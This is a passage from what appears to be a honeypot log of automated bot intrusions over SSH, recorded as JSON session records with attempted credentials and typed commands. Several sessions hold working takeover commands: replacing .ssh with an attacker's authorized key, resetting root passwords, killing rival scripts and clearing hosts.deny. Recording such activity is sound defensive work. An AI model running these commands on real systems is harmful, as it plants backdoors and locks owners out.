complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:45:00.537238+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:45:01.385674+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:45:08.086797+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:45:08.087362+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:45:08.913686+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2zecvfAlyvTt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:45:09.755837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:45:10.597700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:45:10.598182+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:45:11.446216+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:45:12.060068+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:45:12.894514+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:45:13.397127+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:45:14.230445+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:45:14.230873+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:45:15.075188+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:45:15.764351+00:00","kind":"output","latency_ms":null,"data":" 13:45:15 up 7 days, 10:35, 0 user, load average: 0.24, 0.23, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:45:16.597683+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:45:17.135193+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:45:17.979365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:45:18.870507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:45:19.702429+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:45:20.275612+00:00","kind":"output","latency_ms":null,"data":"top - 13:45:20 up 7 days, 10:35, 0 user, load average: 0.24, 0.23, 0.16\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:45:21.107266+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:45:21.374200+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:45:22.213296+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:45:22.668075+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:45:23.505720+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:45:24.155895+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:45:24.998397+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:45:26.067675+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:45:26.905057+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:45:28.216992+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin@520","method":"password","accepted":true,"tier":"other"}]} {"id":"849d3afd-8756-4ba5-a805-4ffac8de3c93","name":"feathered-balmy-skylark","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":36198,"username":"xumm","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:45:18.331554+00:00","ended_at":"2026-08-27T13:45:18.436220+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:45:16.445192+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:45:17.072275+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:45:17.282599+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:45:17.283089+00:00","kind":"output","latency_ms":null,"data":" 13:45:17 up 7 days, 10:35, 0 user, load average: 0.04, 0.04, 0.04"},{"seq":5,"at":"2026-08-27T13:45:17.493204+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:45:17.493640+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:45:17.703479+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:45:17.704423+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:45:17.912123+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:45:17.912620+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:45:18.122799+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:45:18.123724+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:45:18.332339+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:45:18.332676+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"xumm","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"0ba01b1a-465c-4c0c-833c-680a95753cbe","name":"polar-ginger-onager","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":54788,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:45:06.659432+00:00","ended_at":"2026-08-27T13:45:07.816672+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5701a0f0-0f32-4c57-b899-db7a0a34a067","name":"lawful-nimble-eagle","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":53988,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:45:03.318300+00:00","ended_at":"2026-08-27T13:45:05.001412+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8ff95848-2fb8-4871-a4f7-8de3e86edf0a","name":"salty-sandy-roebuck","protocol":"http","channel_kind":"http","src_ip":"156.59.26.98","src_port":null,"username":null,"client_version":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/17.0 Safari/605.1.15","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:44:35.129711+00:00","ended_at":"2026-08-27T14:00:13.710320+00:00","ended_reason":"http session idle","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"5449c50b-b2d5-4e74-8999-89b428743c96","name":"sunlit-creaky-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":57110,"username":"halo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":834,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:43:34.225939+00:00","ended_at":"2026-08-27T13:43:35.031718+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2049,"events":[{"seq":1,"at":"2026-08-27T13:43:11.913934+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:43:12.746202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:43:19.372727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:43:19.373406+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:43:20.206331+00:00","kind":"input","latency_ms":null,"data":"echo -e \"halo\\nzXSpMrVRt6ab\\nzXSpMrVRt6ab\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:43:20.904423+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T13:43:21.755691+00:00","kind":"input","latency_ms":null,"data":"echo \"halo\\nzXSpMrVRt6ab\\nzXSpMrVRt6ab\\n\"|passwd"},{"seq":8,"at":"2026-08-27T13:43:22.327761+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:43:22.595748+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T13:43:22.596300+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:43:23.429739+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:43:23.923091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:43:24.758480+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:43:25.269968+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:43:26.106558+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:43:26.107082+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:43:26.942832+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:43:26.943329+00:00","kind":"output","latency_ms":null,"data":" 13:43:26 up 7 days, 10:33, 0 user, load average: 0.09, 0.09, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:43:27.798273+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:43:27.798745+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:43:28.631375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:43:28.631929+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:43:29.471735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:43:29.472463+00:00","kind":"output","latency_ms":null,"data":"top - 13:43:29 up 7 days, 10:33, 0 user, load average: 0.09, 0.09, 0.09\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:43:30.302922+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:43:30.303504+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:43:31.136924+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:43:31.137465+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:43:31.970339+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:43:31.970903+00:00","kind":"output","latency_ms":null,"data":"halo"},{"seq":31,"at":"2026-08-27T13:43:32.814080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:43:33.369900+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:43:34.226954+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:43:34.764074+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"halo","password":"halo","method":"password","accepted":true,"tier":"other"}]} {"id":"ff8e5136-d7d2-4ab6-b7bf-c216847aeb70","name":"knotted-civil-caribou","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":58894,"username":"halo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:43:18.238712+00:00","ended_at":"2026-08-27T13:43:19.103972+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"halo","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bc929d09-d53f-47aa-a72e-1bdb2529a2e8","name":"feathered-twilight-impala","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":57994,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:43:14.675518+00:00","ended_at":"2026-08-27T13:43:16.565823+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"20e0724d-ce14-49cd-a927-346a6bc8b7d5","name":"blithe-ruddy-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":60534,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:43:00.824126+00:00","ended_at":"2026-08-27T13:43:07.094550+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"6324f54a-15fa-4430-8223-58acceaacb0f","name":"noble-dapper-gull","protocol":"ssh","channel_kind":null,"src_ip":"113.191.145.50","src_port":59067,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:42:20.865473+00:00","ended_at":"2026-08-27T13:42:25.538072+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"ffbd3c80-22c2-4087-94d3-dbd6ffeb7027","name":"golden-honest-gull","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":60228,"username":"xumm","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:41:48.240227+00:00","ended_at":"2026-08-27T13:41:48.344681+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:41:46.371110+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:41:46.983538+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:41:47.192771+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:41:47.193271+00:00","kind":"output","latency_ms":null,"data":" 13:41:47 up 7 days, 10:31, 0 user, load average: 0.05, 0.04, 0.04"},{"seq":5,"at":"2026-08-27T13:41:47.401452+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:41:47.402340+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:41:47.610575+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:41:47.611320+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:41:47.820802+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:41:47.821199+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:41:48.032881+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:41:48.035097+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:41:48.241700+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:41:48.242376+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"xumm","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"7e98cbe3-8bbf-4116-a881-9aae1f9c9373","name":"granite-icy-fossa","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":34968,"username":"simpel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:41:32.994431+00:00","ended_at":"2026-08-27T13:41:34.313672+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"simpel","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"795a6bd8-db1a-4b63-88d6-cfd68e3ba3cc","name":"ancient-plush-badger","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":33912,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:41:29.210755+00:00","ended_at":"2026-08-27T13:41:31.325656+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"232b3d49-58bb-4c88-8c35-152b08225734","name":"stormy-gleaming-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":32952,"username":"simpel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:41:26.455100+00:00","ended_at":"2026-08-27T13:41:27.285082+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T13:41:26.455876+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:41:27.013566+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"simpel","password":"simpel123","method":"password","accepted":true,"tier":"other"}]} {"id":"e58b1d8c-63ee-4b82-8bd2-ab29f33db6d9","name":"sincere-mellow-vole","protocol":"http","channel_kind":"http","src_ip":"216.73.216.122","src_port":null,"username":null,"client_version":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:41:22.500913+00:00","ended_at":"2026-08-27T13:57:13.654169+00:00","ended_reason":"http session idle","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"a0da66dc-1f8b-41b6-bc7a-b835cd42babe","name":"wooded-emerald-heron","protocol":"ssh","channel_kind":"exec","src_ip":"120.48.33.69","src_port":49468,"username":"hieu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:40:50.124803+00:00","ended_at":"2026-08-27T13:44:51.953448+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T13:40:50.125583+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:40:50.955624+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"hieu","password":"hieu123","method":"password","accepted":true,"tier":"other"}]} {"id":"ce849b76-8909-425b-80e9-5b5c62f84f83","name":"brisk-stormy-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":37034,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":827,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:40:15.293996+00:00","ended_at":"2026-08-27T13:40:16.146140+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T13:39:52.426553+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:39:53.250559+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:40:00.747398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:40:00.747878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:40:01.579091+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HByEx1e4Of7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:40:02.401611+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:40:03.225621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:40:03.226093+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:40:04.053712+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:40:04.629961+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:40:05.458479+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:40:06.094041+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:40:06.922083+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:40:06.922526+00:00","kind":"output","latency_ms":null,"data":"crontab 